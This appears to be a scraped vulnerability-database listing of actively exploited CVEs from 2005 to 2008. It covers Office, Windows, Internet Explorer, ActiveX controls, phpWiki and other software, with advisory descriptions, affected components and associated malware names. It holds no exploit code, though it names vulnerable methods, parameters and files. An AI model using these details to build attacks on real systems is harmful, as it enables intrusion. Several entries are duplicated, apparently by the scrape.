The vulnerability exists due to boundary error in Jet database engine when parsing .mdb files. A remote attacker can create a specially crafted .mdb file, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is publicly disclosed since 2005, however an attack vector was introduced only in 2008. The vulnerability is being actively exploited.
i

The vulnerability initially had three CVEs: CVE-2005-0944, CVE-2007-6026 and CVE-2008-1092.
The issue has been introduced on 02/17/2000. The vulnerability was handled as a non-public zero-day exploit for at least 2832 days.

Software: Microsoft Jet

Known/fameous malware:

Trojan.Acdropper.C

The vulnerability initially had three CVEs: CVE-2005-0944, CVE-2007-6026 and CVE-2008-1092.
The issue has been introduced on 02/17/2000. The vulnerability was handled as a non-public zero-day exploit for at least 2832 days.

Multiple vulnerabilities in Adobe Reader and Adobe Acrobat
CVE-2007-5659

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to a boundary error within Javascript method. A remote attacker can create a specially .pdf file, trick the victim into opening it, trigger stack-based buffer overflow and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vendor was notified of this vulnerability on 10/10/2007, however the patched was issued only 7 month later.

Software: Adobe Reader

Known/fameous malware:

Exploit kits: Impact, Incognito, Phoenix, Siberia, Styx.

The vendor was notified of this vulnerability on 10/10/2007, however the patched was issued only 7 month later.

Remote code execution in Ourgame GLWorld
CVE-2008-0647

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow in the ActiveX control (HanGamePluginCn18.dll). A remote attacker can create a specially crafted web page, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
Not patched

Software: GLWorld

Known/fameous malware:

Infostealer.Gampass
Trojan.Exploit.SSX (Trojan.Exploit.ANNZ )

Multiple vulnerabilities in Microsoft Excel
CVE-2008-0081

Memory corruption

The vulnerability alows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to a boundary error when handling macros in Excel files. A remote attacker can create a specially crafted Excel file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.

Software: Microsoft Excel

Known/fameous malware:

mx97:cve-2008-0081 virus
Exploit-MSExcel.p

Remote code execution in QVOD Technology QVOD Player
CVE-2008-4664

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to heap-based buffer overflow in QVOD Player ActiveX control (QvodInsert.dll). A remote attacker can create a specially crafted Web page, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The QVOD Player exploit was used against visitors during the CA.com website hack. Hackers were able to redirect users to uc8010.com domain. The incident became known on January 5, 2008.

Software: QVOD Player

The QVOD Player exploit was used against visitors during the CA.com website hack. Hackers were able to redirect users to uc8010.com domain. The incident became known on January 5, 2008.

Buffer overflow in JustSystems Ichitaro
CVE-2007-6436

Stack-based buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in JSGCI.DLL library when processing malicious documents. A remote attacker can create a specially crafted document file, trick the victim into opening it, cause stack-based buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Ichitaro

Known/fameous malware:

Trojan.Tarodrop.F

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2007-5347

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to an error when handling certain DHTML object methods. A remote attacker can create a specially crafted HTML page, trick the victim into visiting it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Microsoft Internet Explorer

Remote code execution in Apple QuickTime
CVE-2007-6166

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling specially crafted overly long RTSP (Real Time Streaming Protocol) Response Content-Type header. A remote attacker can create a specially crafted web page, trick the victim into opening it, cause buffer overflow and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Software: Apple QuickTime

Known/fameous malware:

Trojan.Quimkit

Remote code execution in Xunlei Thunder
CVE-2007-6144

Heap-based buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in PPlayer.XPPlayer.1 ActiveX control when handling long strings passed via FlvPlayerUrl property value. A remote attacker can create a specially crafted web page, trick the victim into visiting it, cause a heap-based buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability was being actively exploited.

Not patched
i

This vulnerability was first reported on SEBUG.net. This vulnerability was used in mass SQL injection attack against Chinese websites in May 2008.

Software: Xunlei Thunder

Known/fameous malware:

Exploit:HTML/IESlice.BK.

This vulnerability was first reported on SEBUG.net. This vulnerability was used in mass SQL injection attack against Chinese websites in May 2008.

Remote code execution in SSReader
CVE-2007-5892

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in SSReader Pdg2 ActiveX control (pdg2.dll). A remote attacker can create a specially crafted web page, trick the victim into visiting it, cause a stack-based buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Not patched
i

Vulnerability was reported as zero-day by DSWLab. This is the same vulnerability as CVE-2007-5807.

Software: SSReader

Vulnerability was reported as zero-day by DSWLab. This is the same vulnerability as CVE-2007-5807.

Remote code execution in Ourgame GLWorld ActiveX control
CVE-2007-5722

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling overly long argument passed tp ConnectAndEnterRoom() method in GlobalLink GLCHAT.GLChatCtrl.1 ActiveX control, used by Ourgame GLWorld. A remote attacker can create a specially crafted web page, trick the victim into visiting it, cause a stack-based buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

First in the wild exploitation was reported in October 2007. This vulnerability was used during mass SQL injection attack on web sites in China and Taiwan.

Software: GLWorld

Known/fameous malware:

JS:CVE-2007-5722-A/ Bloodhound.Exploit.164.

First in the wild exploitation was reported in October 2007. This vulnerability was used during mass SQL injection attack on web sites in China and Taiwan.

Privilege escalation in Macrovision SafeDisc driver for Microsoft Windows
CVE-2007-5587

Buffer overflow

The vulnerability allows a local user to escalation privileges on vulnerable system.

The vulnerability exists due to incorrect handling of configuration parameters within Macrovision SafeDisc SECDRV.SYS driver, shipped by default with Windows XP and Windows 2003 operating systems. A local user pass specially crafted parameters to METHOD_NEITHER IOCTL and execute arbitrary code on the target system with elevated privileges.

Successful exploitation of this vulnerability allows a local unprivileged user to elevate his privileges and gain administrative access to vulnerable system.

Note: the vulnerability is being actively exploited.

Software: Windows

Remote code execution in RealNetworks RealPlayer
CVE-2007-5601

Stack-based buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when processing playlist names passed via "Import()" method to RealPlayer IERPCtl ActiveX control (ierpplug.dll). A remote attacker can create a specially crafted web page, trick the victim into opening it, cause stack-based buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

Exploit code for this vulnerability was used during Chinese weekend compromise campaign in May 2008.

Software: RealPlayer

Exploit code for this vulnerability was used during Chinese weekend compromise campaign in May 2008.

Remote code execution via URI handlers in Microsoft Windows
CVE-2007-3896

OS command injection

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to insufficient filtration of URIs in Shell32.dll when open applications via URL handlers (e.g. mailto:). A remote attacker can create a specially crafted URI, containing invalid sequence of % characters, trick the victim to click on it and execute arbitrary system commands with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Windows

Remote code execution in Microsoft Word
CVE-2007-3899

Memory corruption

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling malformed strings in Word document. A remote attacker can create a specially crafted MS Word document, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Microsoft Word

Remote command execution in eWire PHP component
CVE-2007-4925

OS command injection

The vulnerability allows a remote attacker to execute arbitrary commands on vulnerable system.

The vulnerability exists due to insufficient sanitization of user-supplied input passed via "paymentinfo" HTTP GET parameter to "simplePHPLinux/3payment_receive.php" script. A remote attacker can send a specially crafted HTTP Get request to vulnerable script and execute arbitrary OS commands on vulnerable system with privileges of the web server.

Successful exploitation of the vulnerability allows to execute arbitrary commands and compromise vulnerable system.

Note: this vulnerability is being actively exploited.

Not patched
i

The weakness was shared 03/15/2007. The vulnerability was originally reported as zero-day by FortConsult A/S. Security patch was never issued by the vendor.

Software: Payment Client

The weakness was shared 03/15/2007. The vulnerability was originally reported as zero-day by FortConsult A/S. Security patch was never issued by the vendor.

Remote code execution when handling ZIP files in Lhaz
CVE-2007-4428

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when processing ZIP files. A remote attacker can create a specially crafted .zip archive, trick the victim into opening it, cause buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Lhaz

Known/fameous malware:

Exploit-LHAZ.a

Remote code execution in JustSystems Ichitaro
CVE-2007-4246

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when processing malicious documents. A remote attacker can create a specially crafted document, trick the victim into opening it, cause buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Ichitaro

Known/fameous malware:

Trojan.Tarodrop.D

SQL injection in phpMyForum
CVE-2007-4107

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL commands in vulnerable application.

The vulnerability exists due to insufficient sanitization of user-supplied data passed editpost.php script. A remote attacker can send a specially crafted HTTP request to vulnerable script and execute arbitrary SQL commands in web application database.

Successful exploitation may allow an attacker to gain complete control over vulnerable website.

Note: this vulnerability is being actively exploited.

i

The vulnertability was reported by Reini Urban via vendor's forum after discovery of zero-day exploitation.

Software: phpMyForum

The vulnertability was reported by Reini Urban via vendor's forum after discovery of zero-day exploitation.

Buffer overflow in Lhaca File Archiver
CVE-2007-3375

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in Lhaca File Archiver when processing .lzh archives. A remote attacker can create a specially crafted .lzh file, trick the victim into opening it, cause stack-based buffer overflow and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: File Archiver

Known/fameous malware:

Trojan.Lhdropper

Remote code execution in Microsoft DNS server
CVE-2007-1748

Stack-based buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when processing RPC requests in Microsoft Windows DNS server, which contain long zone name parameter with escaped octal strings.
A remote attacker can send a specially crafted RPC request to vulnerable DNS server, cause stack-based buffer overflow and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Windows Server

Remote code execution in JustSystems Ichitaro
CVE-2007-1938

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when processing malicious documents. A remote attacker can create a specially crafted document, trick the victim into opening it, cause buffer overflow and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Ichitaro

Arbitrary file upload in phpWiki
CVE-2007-2025

Unrestricted file upload

The vulnerability allows a remote attacker to execute arbitrary OS commands on vulnerable system.

The vulnerability exists due to insufficient sanitization of filename extension in lib/plugin/UpLoad.php when uploading files via UpLoad feature. A remote attacker can use php3 extension to bypass implemented protection mechanism, upload and execute malicious PHP file on vulnerable system.

Successful exploitation of the vulnerability may allow an attacker to execute arbitrary OS commands vulnerable system with privileges of the web server account.

Note: this vulnerability is being actively exploited.

i

Harold Hallikainen has reported that the upload page fails to properly check the extension of the uploaded files. This vulnerability was exploited along with CVE-2007-2024.

Software: PhpWiki

Harold Hallikainen has reported that the upload page fails to properly check the extension of the uploaded files. This vulnerability was exploited along with CVE-2007-2024.

Arbitrary file upload in phpWiki
CVE-2007-2024

Unrestricted file upload

The vulnerability allows a remote attacker to execute arbitrary OS commands on vulnerable system.

The vulnerability exists due to insufficient sanitization of filename extension in lib/plugin/UpLoad.php when uploading files via UpLoad feature. A remote attacker can use php3, php4, or php5 extension to bypass implemented protection mechanism, upload and execute malicious PHP file on vulnerable system.

Successful exploitation of the vulnerability may allow an attacker to execute arbitrary OS commands vulnerable system with privileges of the web server account.

Note: this vulnerability is being actively exploited.

i

Harold Hallikainen has reported that the upload page fails to properly check extension of uploaded files. This vulnerability was exploited along with CVE-2007-2025.

Software: PhpWiki

Harold Hallikainen has reported that the upload page fails to properly check extension of uploaded files. This vulnerability was exploited along with CVE-2007-2025.

Remote code execution in Microsoft Windows
CVE-2007-0038

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling cursor, animated cursor, and icon formats. A remote attacker can create a specially crafted malicious cursor or icon file, cause buffer overflow and execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

This vulnerability was discovered by Alexander Sotirov of Determina and was rediscovered in the wild by McAfee.

Software: Windows

This vulnerability was discovered by Alexander Sotirov of Determina and was rediscovered in the wild by McAfee.

Remote code execution in Microsoft Word
CVE-2007-0870

Memory corruption

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling malformed stream in Word document. A remote attacker can create a specially crafted MS Word document, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

According to CERT, this vulnerability has been actively exploited in the wild before official patch release.

Software: Microsoft Word

According to CERT, this vulnerability has been actively exploited in the wild before official patch release.

Buffer overflow in Microsoft Excel
CVE-2007-0671

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling malformed records in Excel files. A remote attacker can create a specially crafted Excel file, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

The attack was reported on February 2007. The exploit dropped malware that used www.top10member.com C&C server. According to TrendMicro, the malware functionality was very similar to BKDR_SYKIPOT.B.

Software: Microsoft Excel

Known/fameous malware:

Exploit-MSExcel.h.

The attack was reported on February 2007. The exploit dropped malware that used www.top10member.com C&C server. According to TrendMicro, the malware functionality was very similar to BKDR_SYKIPOT.B.

Remote code execution in Microsoft Word
CVE-2007-0515

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability is caused by boundary error when processing malformed function in Word files. A remote attacker can create a specially crafted Word file, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.


Software: Microsoft Word

Known/fameous malware:

Backdoor.Trojan Downloader
Backdoor.Pcclient.B (MCID 8260)
Backdoor.Ginwui.E (MCID 8890)
Trojan.Mdropper.W

Buffer overflow in Internet Explorer VML
CVE-2007-0024

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in Vgx.dll library when handling Vector Markup Language (VML) tags. A remote attacker can create a specially crafted web page, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Microsoft Internet Explorer

Privilege escalation in Mac OS X
CVE-2007-0117

Improper file permissions handling

The vulnerability allows a local user to escalation privileges on vulnerable system.

The vulnerability exists in diskutil tool within DiskManagement framework when handling BOM files. A local user can create a specially crafted BOM file, run diskutil with specially crafted BOM file and replace permissions for arbitrary files on vulnerable system.

Successful exploitation of this vulnerability allows a local unprivileged user to elevate his privileges and gain root access to vulnerable system.

Note: the vulnerability is being actively exploited.

Not patched

Software: macOS

Remote code execution in Microsoft Word
CVE-2006-6561

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability is caused by boundary error when processing  an unchecked word count in Word files. A remote attacker can create a specially crafted Word file, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.


i

This vulnerability was publicly disclosed by Disco Jonny.

Software: Microsoft Word

Known/fameous malware:

Bloodhound.Exploit.108.

This vulnerability was publicly disclosed by Disco Jonny.

Remote code execution in Microsoft Word
CVE-2006-6456

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability is caused by boundary error when handling Word files with a specially crafted data structure. A remote attacker can create a specially crafted Word file, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.


Software: Microsoft Word

Known/fameous malware:

Trojan.Mdropper.U

Remote code execution in Microsoft Word
CVE-2006-5994

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability is caused by boundary error when handling Word files with a specially crafted string. A remote attacker can create a specially crafted Word file, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.


Software: Microsoft Word

Known/fameous malware:

Bloodhound.Exploit.106

Remote code execution in Microsoft XML Core Services
CVE-2006-5745

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to an error in XMLHTTP ActiveX control within Microsoft XML Core Services. A remote unauthenticated attacker can trick the victim to open a specially crafted web page and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability is being actively exploited.

i

The issue was discovered in the wild by ISS xForce.

Software: Microsoft XML Core Services

The issue was discovered in the wild by ISS xForce.

Remote code execution in Visual Studio WMIObjectBroker2 ActiveX control
CVE-2006-4704

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to incorrect handling of input data in Microsoft WMIScriptUtils.WMIObjectBroker2 ActiveX control (WmiScriptUtils.dll), bundled with Visual Studio 2005. A remote unauthenticated attacker can trick the victim to open a specially crafted web page or HTML file and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability is being actively exploited.

i

This vulnerability was publicly reported by Michal Bucko and H D Moore.

Software: Visual Studio

This vulnerability was publicly reported by Michal Bucko and H D Moore.

Remote code execution in WebViewFolderIcon ActiveX control in Microsoft Windows
CVE-2006-3730

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to improper validation of input parameters passed to vulnerable setSlice() method in WebViewFolderIcon ActiveX control (Web View). A remote attacker can create a specially crafted web page, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Windows

Remote code execution in Microsoft PowerPoint
CVE-2006-4694

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability is caused by a boundary error when parsing malformed records within the PowerPoint file. A remote attacker can create a specially crafted .ppt file, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.


i

It has been reported that the attack vector involves SlideShowWindows.View.GotoNamedShow.

Software: Microsoft PowerPoint

Known/fameous malware:

Exploit:Win32/Controlppt.W, Exploit:Win32/Controlppt.X, and Exploit-PPT.d/Trojan.PPDropper.F.

It has been reported that the attack vector involves SlideShowWindows.View.GotoNamedShow.

Remote code execution in Microsoft Windows
CVE-2006-4868

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to incorrect handling of input data in Vector Markup Language (VML) implementation (VGX.dll) in Microsoft Windows. A remote unauthenticated attacker can trick the victim to open a specially crafted web page or HTML file and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability is being actively exploited.

i

This vulnerability was reported by Sunbelt Software.

Software: Windows

Known/fameous malware:

Bloodhound.Exploit.78

This vulnerability was reported by Sunbelt Software.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2006-4777

Heap-based buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to heap-based buffer overflow within DirectAnimation Path ActiveX control (daxctle.ocx) when handling unexpected input. A remote attacker can create a specially crafted web page, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Microsoft Internet Explorer

Multiple vulnerabilities in Microsoft Word
CVE-2006-4534

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The weakness is due to stack-based buffer overflow. By persuading the victim to load and open a specially crafted Word document containing a malformed string, a remote attacker can execute arbitrary code with elevated privileges.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.
i

This vulnerability was reported by Juha-Matti Laurio.

Software: Microsoft Office

Known/fameous malware:

Trojan.Mdropper.Q

This vulnerability was reported by Juha-Matti Laurio.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2006-4446

Heap-based buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to heap-based buffer overflow in DirectAnimation.PathControl ActiveX control (daxctle.ocx) when handling unexpected input. A remote attacker can create a specially crafted web page, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Microsoft Internet Explorer

Remote code execution in JustSystems Ichitaro
CVE-2006-4326

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The weakness is due to stack-based buffer overflow. By persuading the victim to open a modified document, a remote attacker can execute arbitrary code.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.

Software: Ichitaro

Known/fameous malware:

Trojan.Tarodrop.

Buffer overflow in Microsoft Windows Server service
CVE-2006-3439

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in Microsoft Windows Server Service. A remote attacker can send a specially crafted packet to port 139/TCP or 445/TCP, trigger boundary error and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Windows

Remote code execution in Microsoft VBA
CVE-2006-3649

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The weakness is due to buffer overflow. By persuading the victim to open a malicious Office document containing Visual Basic for Applications (VBA) script, a remote attacker can execute arbitrary code.
Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.
i

The weakness was disclosed 08/08/2006 by Ka Chun Leung with Symantec.

Software: Microsoft Office

Known/fameous malware:

Trojan.Mdropper.N

The weakness was disclosed 08/08/2006 by Ka Chun Leung with Symantec.

Remote code execution in Microsoft PowerPoint
CVE-2006-3590

Memory corruption

The vulnerability allows a remote user to execute arbitrary code on the target system.

The weakness is due to memory corruption in mso.dll. By persuading the victim to open a specially crafted PPT file, containing a malformed shape container, a remote attacker can execute arbitrary code on vulnerable system.

Successful exploitation of the vulnerability results in complete compromise of vulnerable system.

Note: this vulnerability was being actively exploited.

Software: Microsoft PowerPoint

Known/fameous malware:

PPDropper.B Trojan.
Bloodhound.Exploit.79

Multiple vulnerabilities in Microsoft Office
CVE-2006-1540

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when handling malformed strings in Office documents. A remote attacker can create a specially crafted Office file, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Microsoft Office

Multiple vulnerabilities in Microsoft Excel
CVE-2006-1301

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to incorrect handling of input data when processing a malformed SELECTION record within Excel file. A remote unauthenticated attacker can trick the victim to open a specially crafted Excel file and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability was being actively exploited.

Software: Microsoft Excel

Multiple vulnerabilities in Microsoft Excel
CVE-2006-3059

Remote code execution

The vulnerability allows a remote user to execute arbitrary code on the target system.

The weakness is due to a stack-based buffer overflow in the HrShellOpenWithMonikerDisplayName() function. By persuading the victim to open a specially crafted Excel file, a remote attacker can cause DoS conditions or execute arbitrary code via a long hyperlink.

Successful exploitation of the vulnerability results in denial of service or arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.

Software: Microsoft Excel

Known/fameous malware:

Mdropper.J Trojan.

Remote code execution in Microsoft Word
CVE-2006-2492

Remote code execution

The vulnerability allows a remote user to execute arbitrary code on the target system.

The weakness is due to buffer overflow. By persuading the victim to open a specially crafted Word file containing a malformed object pointer, a remote attacker can execute arbitrary code.
Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.

Software: Microsoft Word

Known/fameous malware:

Mdropper.H Trojan.
SmartTag exploit.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2006-1359

Memory corruption

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in createTextRange() DHTML method when handling unexpected user input for radio button control. A remote attacker can create a specially crafted web page, trick the victim into visiting it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

Software: Microsoft Internet Explorer

Known/fameous malware:

Kaspersky - Exploit.JS.CVE-2006-1359.d
Ikarus - Exploit.JS.CVE-2006-1359.d
Nod32 - JS/Exploit.CVE-2006-1359

Remote code execution in Microsoft Windows GDI
CVE-2005-4560

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to boundary error in Microsoft Graphical Device Interface library (GDI32.DLL) when handling .wmf files. A remote attacker can create a specially crafted .wmf image file with a crafted SETABORTPROC GDI Escape function call, related to the Windows Picture and Fax Viewer (SHIMGVW.DLL), trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

This vulnerability was disclosed on December 27, 2005. We have decided however to include it into 2006 year due to very close timing.

Software: Windows

This vulnerability was disclosed on December 27, 2005. We have decided however to include it into 2006 year due to very close timing.